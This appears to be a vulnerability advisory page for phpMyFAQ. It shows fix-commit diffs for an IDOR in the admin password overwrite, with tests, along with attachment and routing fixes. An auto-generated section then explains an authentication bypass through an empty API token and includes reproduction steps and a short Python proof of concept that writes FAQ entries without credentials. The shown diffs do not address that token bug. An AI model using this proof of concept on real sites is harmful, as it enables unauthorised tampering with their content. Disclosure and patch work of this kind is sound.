phpmyfaq/translations/language_tr.php+5 −0 modified@@ -549,6 +549,11 @@ $PMF_LANG["lostpwd_text_1"] = "Talebiniz alındı."; $PMF_LANG["lostpwd_text_2"] = "Lütfen yönetici panelinden yeni bir kişisel şifre belirleyiniz."; $PMF_LANG["lostpwd_mail_okay"] = "Email gönderildi."; +$PMF_LANG["resetpwd_title"] = "Yeni şifre belirle"; +$PMF_LANG["resetpwd_text_link"] = "Yeni şifre belirlemek için aşağıdaki bağlantıya tıklayın:"; +$PMF_LANG["resetpwd_text_expiry"] = "Bu bağlantı 1 saat geçerlidir ve yalnızca bir kez kullanılabilir."; +$PMF_LANG["resetpwd_success"] = "Şifreniz değiştirildi. Şimdi giriş yapabilirsiniz."; +$PMF_LANG["resetpwd_err_invalid"] = "Bu şifre sıfırlama bağlantısı geçersiz veya süresi dolmuş."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Sistem sürümünü kontrol etmek için tıklayın"; $PMF_LANG["ad_xmlrpc_latest"] = "Yeni sürüm kullanılabilir durumda";
phpmyfaq/translations/language_uk.php+5 −0 modified@@ -552,6 +552,11 @@ $PMF_LANG["lostpwd_text_1"] = "Дякуємо за запит інформації про Ваш обліковий запис."; $PMF_LANG["lostpwd_text_2"] = "Будь ласка, встановіть новий особистий пароль в адміністративному розділі вашого FAQ."; $PMF_LANG["lostpwd_mail_okay"] = "Email відправлено."; +$PMF_LANG["resetpwd_title"] = "Встановити новий пароль"; +$PMF_LANG["resetpwd_text_link"] = "Натисніть на посилання нижче, щоб встановити новий пароль:"; +$PMF_LANG["resetpwd_text_expiry"] = "Це посилання дійсне протягом 1 години і може бути використане лише один раз."; +$PMF_LANG["resetpwd_success"] = "Ваш пароль було змінено. Тепер ви можете увійти."; +$PMF_LANG["resetpwd_err_invalid"] = "Це посилання для скидання пароля недійсне або термін його дії минув."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Отримати номер останньої версії phpMyFAQ через веб-сервіс"; $PMF_LANG["ad_xmlrpc_latest"] = "Остання доступна версія";
phpmyfaq/translations/language_ur.php+5 −0 modified@@ -542,6 +542,11 @@ $PMF_LANG["lostpwd_text_1"] = "آپ کی اکاؤنٹ کی معلومات کی درخواست کرنے کا شکریہ۔"; $PMF_LANG["lostpwd_text_2"] = "براہ کرم اپنے FAQ کے ایڈمن سیکشن میں نیا ذاتی پاس ورڈ سیٹ کریں۔"; $PMF_LANG["lostpwd_mail_okay"] = "ای میل بھیج دی گئی ہے۔"; +$PMF_LANG["resetpwd_title"] = "نیا پاس ورڈ سیٹ کریں"; +$PMF_LANG["resetpwd_text_link"] = "نیا پاس ورڈ سیٹ کرنے کے لیے نیچے دیے گئے لنک پر کلک کریں:"; +$PMF_LANG["resetpwd_text_expiry"] = "یہ لنک 1 گھنٹے کے لیے درست ہے اور صرف ایک بار استعمال کیا جا سکتا ہے۔"; +$PMF_LANG["resetpwd_success"] = "آپ کا پاس ورڈ تبدیل کر دیا گیا ہے۔ اب آپ لاگ ان کر سکتے ہیں۔"; +$PMF_LANG["resetpwd_err_invalid"] = "یہ پاس ورڈ ری سیٹ لنک غلط ہے یا اس کی میعاد ختم ہو چکی ہے۔"; $PMF_LANG["msgButtonFetchLatestVersion"] = "اپنی phpMyFAQ انسٹالیشن کے ورژن کو چیک کرنے کے لیے کلک کریں"; $PMF_LANG["ad_xmlrpc_latest"] = "دستیاب جدید ترین ورژن";
phpmyfaq/translations/language_vi.php+5 −0 modified@@ -543,6 +543,11 @@ $PMF_LANG["lostpwd_text_1"] = "Cảm ơn bạn đã yêu cầu thông tin tài khoản."; $PMF_LANG["lostpwd_text_2"] = "Vui lòng thay đổi mật khẩu trong phần quản trị tài khoản của bạn."; $PMF_LANG["lostpwd_mail_okay"] = "Email đã được gửi."; +$PMF_LANG["resetpwd_title"] = "Đặt mật khẩu mới"; +$PMF_LANG["resetpwd_text_link"] = "Nhấp vào liên kết bên dưới để đặt mật khẩu mới:"; +$PMF_LANG["resetpwd_text_expiry"] = "Liên kết này có hiệu lực trong 1 giờ và chỉ có thể sử dụng một lần."; +$PMF_LANG["resetpwd_success"] = "Mật khẩu của bạn đã được thay đổi. Bây giờ bạn có thể đăng nhập."; +$PMF_LANG["resetpwd_err_invalid"] = "Liên kết đặt lại mật khẩu này không hợp lệ hoặc đã hết hạn."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Truy cập phiên bản mới nhất của phpMyFAQ"; $PMF_LANG['ad_xmlrpc_latest'] = 'Phiên bản mới nhất có tại';
phpmyfaq/translations/language_zh.php+5 −0 modified@@ -439,6 +439,11 @@ $PMF_LANG['lostpwd_text_1'] = '感谢你查询您的账号信息。'; $PMF_LANG['lostpwd_text_2'] = '请在管理员区设置新的个人密码。'; $PMF_LANG['lostpwd_mail_okay'] = 'Email已经发送。'; +$PMF_LANG["resetpwd_title"] = "设置新密码"; +$PMF_LANG["resetpwd_text_link"] = "点击下面的链接设置新密码:"; +$PMF_LANG["resetpwd_text_expiry"] = "此链接1小时内有效,且只能使用一次。"; +$PMF_LANG["resetpwd_success"] = "您的密码已更改。您现在可以登录了。"; +$PMF_LANG["resetpwd_err_invalid"] = "此密码重置链接无效或已过期。"; $PMF_LANG['msgButtonFetchLatestVersion'] = '在线获取最新的phpMyFAQ的版本编号'; $PMF_LANG['ad_xmlrpc_latest'] = '最新启用版本为'; $PMF_LANG['ad_categ_select'] = '选择分类语言';
phpmyfaq/translations/language_zh_tw.php+5 −0 modified@@ -546,6 +546,11 @@ $PMF_LANG["lostpwd_text_1"] = "謝謝您提出您的帳號資訊需求。"; $PMF_LANG["lostpwd_text_2"] = "請重設您的個人密碼於管理員區。"; $PMF_LANG["lostpwd_mail_okay"] = "E-Mail 已寄出。"; +$PMF_LANG["resetpwd_title"] = "設定新密碼"; +$PMF_LANG["resetpwd_text_link"] = "點擊下方連結以設定新密碼:"; +$PMF_LANG["resetpwd_text_expiry"] = "此連結 1 小時內有效,且僅能使用一次。"; +$PMF_LANG["resetpwd_success"] = "您的密碼已變更。您現在可以登入。"; +$PMF_LANG["resetpwd_err_invalid"] = "此密碼重設連結無效或已過期。"; $PMF_LANG["msgButtonFetchLatestVersion"] = "點選這裡來檢查您的 phpMyFAQ 安裝的版本"; $PMF_LANG["ad_xmlrpc_latest"] = "最新版本於";
e3927a31b23efix: prevent IDOR privilege escalation in admin password overwrite
2 files changed · +226 −11
phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php+32 −11 modified@@ -229,14 +229,12 @@ public function overwritePassword(Request $request): JsonResponse { $this->userHasUserPermission(); - $currentUser = CurrentUser::getCurrentUser($this->configuration); - $data = json_decode($request->getContent()); - $userId = Filter::filterVar($data->userId, FILTER_VALIDATE_INT); - $csrfToken = Filter::filterVar($data->csrf, FILTER_SANITIZE_SPECIAL_CHARS); - $newPassword = Filter::filterVar($data->newPassword, FILTER_SANITIZE_SPECIAL_CHARS); - $retypedPassword = Filter::filterVar($data->passwordRepeat, FILTER_SANITIZE_SPECIAL_CHARS); + $userId = Filter::filterVar($data->userId ?? null, FILTER_VALIDATE_INT); + $csrfToken = Filter::filterVar($data->csrf ?? null, FILTER_SANITIZE_SPECIAL_CHARS); + $newPassword = is_string($data->newPassword ?? null) ? $data->newPassword : ''; + $retypedPassword = is_string($data->passwordRepeat ?? null) ? $data->passwordRepeat : ''; if (!Token::getInstance($this->container->get(id: 'session'))->verifyToken( page: 'overwrite-password', @@ -245,18 +243,41 @@ public function overwritePassword(Request $request): JsonResponse return $this->json(['error' => Translation::get(key: 'msgNoPermission')], Response::HTTP_UNAUTHORIZED); } - if (strlen((string) $newPassword) <= 7 || strlen((string) $retypedPassword) <= 7) { + if ($userId === false || (int) $userId <= 0) { + return $this->json(['error' => Translation::get(key: 'ad_user_error_noId')], Response::HTTP_BAD_REQUEST); + } + + if (strlen($newPassword) <= 7 || strlen($retypedPassword) <= 7) { return $this->json(['error' => Translation::get(key: 'msgPasswordTooShort')], Response::HTTP_BAD_REQUEST); } - $currentUser->getUserById((int) $userId, allowBlockedUsers: true); + $isSelf = $this->currentUser->getUserId() === (int) $userId; + $actingIsSuperAdmin = $this->currentUser->isSuperAdmin(); + + // Only SuperAdmins may change other users' passwords. Self-service is always allowed. + if (!$isSelf && !$actingIsSuperAdmin) { + return $this->json(['error' => Translation::get(key: 'msgNoPermission')], Response::HTTP_FORBIDDEN); + } + + $targetUser = new User($this->configuration); + $targetUser->getUserById((int) $userId, allowBlockedUsers: true); + + if ($targetUser->getUserId() <= 0) { + return $this->json(['error' => Translation::get(key: 'ad_user_error_noId')], Response::HTTP_BAD_REQUEST); + } + + // Defense in depth: a non-SuperAdmin must never be able to alter a SuperAdmin or protected account, + // even when isSelf would short-circuit the check above. + if (!$actingIsSuperAdmin && ($targetUser->isSuperAdmin() || $targetUser->getStatus() === 'protected')) { + return $this->json(['error' => Translation::get(key: 'msgNoPermission')], Response::HTTP_FORBIDDEN); + } $auth = new Auth($this->configuration); - $authSource = $auth->selectAuth($currentUser->getAuthSource(key: 'name')); - $authSource->getEncryptionContainer($currentUser->getAuthData(key: 'encType')); + $authSource = $auth->selectAuth($targetUser->getAuthSource(key: 'name')); + $authSource->getEncryptionContainer($targetUser->getAuthData(key: 'encType')); if (hash_equals($newPassword, $retypedPassword)) { - if (!$currentUser->changePassword($newPassword)) { + if (!$targetUser->changePassword($newPassword)) { return $this->json(['error' => Translation::get(key: 'ad_passwd_fail')], Response::HTTP_BAD_REQUEST); }
tests/phpMyFAQ/Controller/Administration/Api/UserControllerTest.php+194 −0 added@@ -0,0 +1,194 @@ +<?php + +namespace phpMyFAQ\Controller\Administration\Api; + +use phpMyFAQ\Permission\PermissionInterface; +use phpMyFAQ\Session\Token; +use phpMyFAQ\User\CurrentUser; +use PHPUnit\Framework\Attributes\AllowMockObjectsWithoutExpectations; +use PHPUnit\Framework\TestCase; +use ReflectionClass; +use ReflectionProperty; +use Symfony\Component\DependencyInjection\ContainerBuilder; +use Symfony\Component\HttpFoundation\Request; +use Symfony\Component\HttpFoundation\Response; +use Symfony\Component\HttpFoundation\Session\Session; +use Symfony\Component\HttpFoundation\Session\Storage\MockArraySessionStorage; + +#[AllowMockObjectsWithoutExpectations] +class UserControllerTest extends TestCase +{ + protected function setUp(): void + { + $instance = new ReflectionProperty(Token::class, 'instance'); + $instance->setValue(null, null); + $_COOKIE = []; + } + + protected function tearDown(): void + { + $instance = new ReflectionProperty(Token::class, 'instance'); + $instance->setValue(null, null); + $_COOKIE = []; + } + + private function buildController( + Session $session, + CurrentUser $actingUser, + ): UserController { + $controller = (new ReflectionClass(UserController::class))->newInstanceWithoutConstructor(); + + $container = $this->createMock(ContainerBuilder::class); + $container + ->method('get') + ->willReturnCallback(static function (string $id) use ($session) { + return $id === 'session' ? $session : null; + }); + + $parent = (new ReflectionClass(UserController::class))->getParentClass(); + $parent->getProperty('container')->setValue($controller, $container); + $parent->getProperty('currentUser')->setValue($controller, $actingUser); + + return $controller; + } + + /** + * Builds a CurrentUser mock with USER_ADD/USER_EDIT/USER_DELETE granted, and + * the supplied userId / SuperAdmin flag. + */ + private function buildActingUser(int $userId, bool $isSuperAdmin): CurrentUser + { + $perm = $this->createMock(PermissionInterface::class); + $perm->method('hasPermission')->willReturn(true); + + $user = $this->createMock(CurrentUser::class); + $user->perm = $perm; + $user->method('getUserId')->willReturn($userId); + $user->method('isSuperAdmin')->willReturn($isSuperAdmin); + + return $user; + } + + /** + * Primes the CSRF token in session and $_COOKIE so that verifyToken() returns true. + */ + private function primeCsrf(Session $session, string $page): string + { + $tokenValue = 'unit-test-token-' . bin2hex(random_bytes(8)); + $cookieName = 'pmf-csrf-token-' . substr(md5($page), 0, 10); + + $reflection = new ReflectionClass(Token::class); + $token = $reflection->newInstanceWithoutConstructor(); + $reflection->getProperty('session')->setValue($token, $session); + $token->setPage($page); + $token->setExpiry(time() + 3600); + $token->setSessionToken($tokenValue); + $token->setCookieToken($tokenValue); + + $session->set('pmf-csrf-token.' . $page, $token); + $_COOKIE[$cookieName] = $tokenValue; + + return $tokenValue; + } + + private function jsonRequest(array $payload): Request + { + return new Request([], [], [], [], [], [], json_encode($payload)); + } + + public function testRejectsRequestWithBadCsrfToken(): void + { + $session = new Session(new MockArraySessionStorage()); + $actingUser = $this->buildActingUser(userId: 5, isSuperAdmin: false); + $controller = $this->buildController($session, $actingUser); + + $request = $this->jsonRequest([ + 'userId' => 5, + 'csrf' => 'nope', + 'newPassword' => 'longenoughpw', + 'passwordRepeat' => 'longenoughpw', + ]); + + $response = $controller->overwritePassword($request); + + $this->assertSame(Response::HTTP_UNAUTHORIZED, $response->getStatusCode()); + } + + public function testRejectsZeroUserId(): void + { + $session = new Session(new MockArraySessionStorage()); + $actingUser = $this->buildActingUser(userId: 5, isSuperAdmin: false); + $controller = $this->buildController($session, $actingUser); + $csrf = $this->primeCsrf($session, 'overwrite-password'); + + $request = $this->jsonRequest([ + 'userId' => 0, + 'csrf' => $csrf, + 'newPassword' => 'longenoughpw', + 'passwordRepeat' => 'longenoughpw', + ]); + + $response = $controller->overwritePassword($request); + + $this->assertSame(Response::HTTP_BAD_REQUEST, $response->getStatusCode()); + } + + public function testRejectsShortPassword(): void + { + $session = new Session(new MockArraySessionStorage()); + $actingUser = $this->buildActingUser(userId: 5, isSuperAdmin: false); + $controller = $this->buildController($session, $actingUser); + $csrf = $this->primeCsrf($session, 'overwrite-password'); + + $request = $this->jsonRequest([ + 'userId' => 5, + 'csrf' => $csrf, + 'newPassword' => 'short', + 'passwordRepeat' => 'short', + ]); + + $response = $controller->overwritePassword($request); + + $this->assertSame(Response::HTTP_BAD_REQUEST, $response->getStatusCode()); + } + + public function testNonSuperAdminCannotChangeAnotherUsersPassword(): void + { + $session = new Session(new MockArraySessionStorage()); + // Acting user has USER_EDIT but is NOT a SuperAdmin. + $actingUser = $this->buildActingUser(userId: 5, isSuperAdmin: false); + $controller = $this->buildController($session, $actingUser); + $csrf = $this->primeCsrf($session, 'overwrite-password'); + + $request = $this->jsonRequest([ + 'userId' => 1, // SuperAdmin target — the IDOR escalation case + 'csrf' => $csrf, + 'newPassword' => 'NewSuperAdminP@ss123!', + 'passwordRepeat' => 'NewSuperAdminP@ss123!', + ]); + + $response = $controller->overwritePassword($request); + + $this->assertSame(Response::HTTP_FORBIDDEN, $response->getStatusCode()); + $this->assertStringContainsString('error', (string) $response->getContent()); + } + + public function testNonSuperAdminCannotChangeArbitraryOtherUsersPassword(): void + { + $session = new Session(new MockArraySessionStorage()); + $actingUser = $this->buildActingUser(userId: 5, isSuperAdmin: false); + $controller = $this->buildController($session, $actingUser); + $csrf = $this->primeCsrf($session, 'overwrite-password'); + + $request = $this->jsonRequest([ + 'userId' => 42, + 'csrf' => $csrf, + 'newPassword' => 'longenoughpw', + 'passwordRepeat' => 'longenoughpw', + ]); + + $response = $controller->overwritePassword($request); + + $this->assertSame(Response::HTTP_FORBIDDEN, $response->getStatusCode()); + } +}
bc5dab558258fix: corrected attachment handling for new FAQs
4 files changed · +13 −4
phpmyfaq/admin/assets/src/api/attachment.ts+7 −1 modified@@ -48,5 +48,11 @@ export const uploadAttachments = async (formData: FormData): Promise<Response> = body: formData, }); - return await response.json(); + const data = await response.json(); + + if (!response.ok) { + throw new Error((data && (data.error as string)) || `Upload failed (HTTP ${response.status})`); + } + + return data; };
phpmyfaq/admin/assets/src/content/attachment-upload.ts+3 −1 modified@@ -12,7 +12,7 @@ * @link https://www.phpmyfaq.de * @since 2023-04-11 */ -import { addElement } from '../../../../assets/src/utils'; +import { addElement, pushErrorNotification, pushNotification } from '../../../../assets/src/utils'; import { uploadAttachments } from '../api'; import { Attachment } from '../interfaces'; @@ -72,6 +72,7 @@ export const handleAttachmentUploads = (): void => { try { const response = (await uploadAttachments(formData)) as unknown as Attachment[]; + pushNotification(`${response.length} file(s) uploaded.`); const modal = document.getElementById('attachmentModal') as HTMLElement | null; const modalBackdrop = document.querySelector('.modal-backdrop.fade.show') as HTMLElement | null; const attachmentList = document.querySelector('.adminAttachments') as HTMLElement | null; @@ -128,6 +129,7 @@ export const handleAttachmentUploads = (): void => { } } catch (error) { console.error('An error occurred:', error); + pushErrorNotification(error instanceof Error ? error.message : 'Attachment upload failed.'); } }); }
phpmyfaq/assets/templates/admin/content/faq.editor.twig+2 −1 modified@@ -588,7 +588,8 @@ <form action="./api/attachment" enctype="multipart/form-data" method="post" id="attachmentForm" novalidate> <fieldset> <input type="hidden" name="MAX_FILE_SIZE" value="{{ maxAttachmentSize }}"> - <input type="hidden" name="record_id" id="attachment_record_id" value="{{ faqData['id'] }}"> + <input type="hidden" name="record_id" id="attachment_record_id" + value="{{ faqData['id'] > 0 ? faqData['id'] : nextFaqId }}"> <input type="hidden" name="record_lang" id="attachment_record_lang" value="{{ faqData['lang'] }}"> <input type="hidden" name="save" value="true"> <input type="hidden" id="pmf-csrf-token" name="pmf-csrf-token" value="{{ csrfTokenUploadAttachment }}">
phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/AttachmentController.php+1 −1 modified@@ -127,7 +127,7 @@ public function upload(Request $request): JsonResponse return $this->json(['error' => Translation::get(key: 'msgNoImagesForUpload')], Response::HTTP_BAD_REQUEST); } - if ($recordId === false || $recordId === null || $recordLang === null || $recordLang === '') { + if ($recordId === false || $recordId === null || $recordId <= 0 || $recordLang === null || $recordLang === '') { return $this->json(['error' => Translation::get(key: 'msgAttachmentInvalid')], Response::HTTP_BAD_REQUEST); }
787a8ea58c8ffix: corrected HTTP method, closes #4230
1 file changed · +1 −1
phpmyfaq/src/admin-routes.php+1 −1 modified@@ -310,7 +310,7 @@ 'admin.news.edit' => [ 'path' => '/news/edit/{newsId}', 'controller' => [NewsController::class, 'edit'], - 'methods' => 'POST' + 'methods' => 'GET' ], 'admin.password.change' => [ 'path' => '/password/change',
d75ad98a75ddfix: correct HTTP method matching in route builders, closes #4229
6 files changed · +24 −21
phpmyfaq/src/admin-api-routes.php+3 −5 modified@@ -600,11 +600,9 @@ $routes->add( $name, new Route( - $config['path'], - [ - '_controller' => $config['controller'], - '_methods' => $config['methods'] - ] + path: $config['path'], + defaults: ['_controller' => $config['controller']], + methods: [$config['methods']], ) ); }
phpmyfaq/src/admin-routes.php+3 −5 modified@@ -408,11 +408,9 @@ $routes->add( $name, new Route( - $config['path'], - [ - '_controller' => $config['controller'], - '_methods' => $config['methods'] - ] + path: $config['path'], + defaults: ['_controller' => $config['controller']], + methods: [$config['methods']], ) ); }
phpmyfaq/src/api-routes.php+3 −5 modified@@ -327,11 +327,9 @@ $routes->add( $name, new Route( - $config['path'], - [ - '_controller' => $config['controller'], - '_methods' => $config['methods'] - ] + path: $config['path'], + defaults: ['_controller' => $config['controller']], + methods: [$config['methods']], ) ); }
phpmyfaq/src/phpMyFAQ/Application.php+11 −0 modified@@ -29,6 +29,7 @@ use Symfony\Component\HttpKernel\Controller\ArgumentResolver; use Symfony\Component\HttpKernel\Controller\ControllerResolver; use Symfony\Component\HttpKernel\Exception\UnauthorizedHttpException; +use Symfony\Component\Routing\Exception\MethodNotAllowedException; use Symfony\Component\Routing\Exception\ResourceNotFoundException; use Symfony\Component\Routing\Matcher\UrlMatcher; use Symfony\Component\Routing\RequestContext; @@ -131,6 +132,16 @@ private function handleRequest( $arguments = $argumentResolver->getArguments($request, $controller); $response->setStatusCode(Response::HTTP_OK); $response = call_user_func_array($controller, $arguments); + } catch (MethodNotAllowedException) { + if ($this->isApiRequest($urlMatcher)) { + $response = new Response( + content: json_encode(value: ['error' => 'Method Not Allowed']), + status: Response::HTTP_METHOD_NOT_ALLOWED, + headers: ['Content-Type' => 'application/json'], + ); + } else { + $response = new Response(content: 'Method Not Allowed', status: Response::HTTP_METHOD_NOT_ALLOWED); + } } catch (ResourceNotFoundException $exception) { if ($this->isApiRequest($urlMatcher)) { $response = new Response(
phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/FaqController.php+1 −1 modified@@ -269,7 +269,7 @@ public function create(Request $request): JsonResponse * @throws \phpMyFAQ\Core\Exception * @throws Exception */ - #[Route(path: 'admin/api/faq/update', name: 'admin.api.faq.update', methods: ['POST'])] + #[Route(path: 'admin/api/faq/update', name: 'admin.api.faq.update', methods: ['PUT'])] public function update(Request $request): JsonResponse { $this->userHasPermission(PermissionType::FAQ_EDIT);
phpmyfaq/src/public-routes.php+3 −5 modified@@ -36,11 +36,9 @@ $routes->add( $name, new Route( - $config['path'], - [ - '_controller' => $config['controller'], - '_methods' => $config['methods'] - ] + path: $config['path'], + defaults: ['_controller' => $config['controller']], + methods: [$config['methods']], ) ); }
Vulnerability mechanics
Root cause
"The installation seeds `api.apiClientToken` with an empty string, and the `hasValidToken()` strict inequality comparison (`!==`) treats an attacker-supplied empty `x-pmf-token` header as matching the default empty token, bypassing authentication entirely."
Attack vector
An unauthenticated attacker sends an HTTP request to any of the protected write API endpoints (`/api/v4.0/faq/create`, `/api/v4.0/faq/update`, `/api/v4.0/category`, `/api/v4.0/question`) with an empty `x-pmf-token` header [ref_id=1]. Because the default `api.apiClientToken` configuration value is also an empty string, the `hasValidToken()` comparison (`'' !== ''`) evaluates to false, so no exception is thrown and the request is processed as authenticated [CWE-1188]. The attacker can then create or modify FAQ entries, categories, and questions without any valid credentials. No prior authentication, network position, or special configuration is required — the vulnerability exists in the default installation state.
Affected code
The installation default is set in `src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php` at line 277-278, where `'api.apiClientToken' => ''` seeds an empty token [ref_id=1]. The authentication check is in `src/phpMyFAQ/Controller/AbstractController.php` at lines 198-204, where `hasValidToken()` uses strict inequality (`!==`) to compare the configured token against the `x-pmf-token` request header [ref_id=1]. The affected endpoints are `FaqController.php` (POST `/api/v4.0/faq/create`, PUT `/api/v4.0/faq/update`), `CategoryController.php` (POST `/api/v4.0/category`), and `QuestionController.php` (POST `/api/v4.0/question`) [ref_id=2].
What the fix does
The advisory does not include a published patch, but the remediation guidance is clear: administrators must explicitly set a non-empty value for the `api.apiClientToken` configuration key [ref_id=1]. The fix should also change the installation default in `DefaultDataSeeder.php` to either generate a random token or require the administrator to provide one during setup, and the `hasValidToken()` method in `AbstractController.php` should reject empty tokens outright (e.g., by adding an explicit check that the configured token is not empty before comparing) [ref_id=2]. Without a code-level patch, the only mitigation is manual configuration change.
Preconditions
- configThe phpMyFAQ installation must be using the default configuration where api.apiClientToken is an empty string (the out-of-the-box state after installation).
- configThe REST API must be enabled (api.enableAccess defaults to 'true').
- networkNo authentication or prior access is required; the attacker only needs network reachability to the target.
- inputThe attacker sends an HTTP request with an empty x-pmf-token header value.
Reproduction
**Environment**: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.
**Step 1** — Send a POST request to `/api/v4.0/faq/create` with an empty `x-pmf-token` header and a JSON body containing FAQ fields (language, category-id, question, answer, keywords, author, email, is-active, is-sticky). The response is HTTP 201 with `{"stored": true}`.
**Step 2** — Send a POST request to `/api/v4.0/category` with an empty `x-pmf-token` header and a JSON body containing category fields (language, parent-id, category-name, description, user-id, group-id, is-active, show-on-homepage). The response is HTTP 201 with `{"stored": true}`.
**Step 3** — Verify the injected content is publicly visible by sending a GET request to `/api/v4.0/faqs/1`. The response is HTTP 200 and includes the injected FAQ data.
A Python PoC using only `urllib` is provided in the advisory [ref_id=1]:
```python import urllib.request, json
TARGET = "http://<target>" HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""}
data = json.dumps({ "language": "en", "category-id": 1, "question": "[POC] Auth Bypass", "answer": "Created via bypass.", "keywords": "poc", "author": "R", "email": "r@t.com", "is-active": True, "is-sticky": False }).encode() req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS, method="POST") resp = urllib.request.urlopen(req) print(f"Status: {resp.status}") # 201 — bypass successful ```
Generated on May 28, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
3News mentions
0No linked articles in our index yet.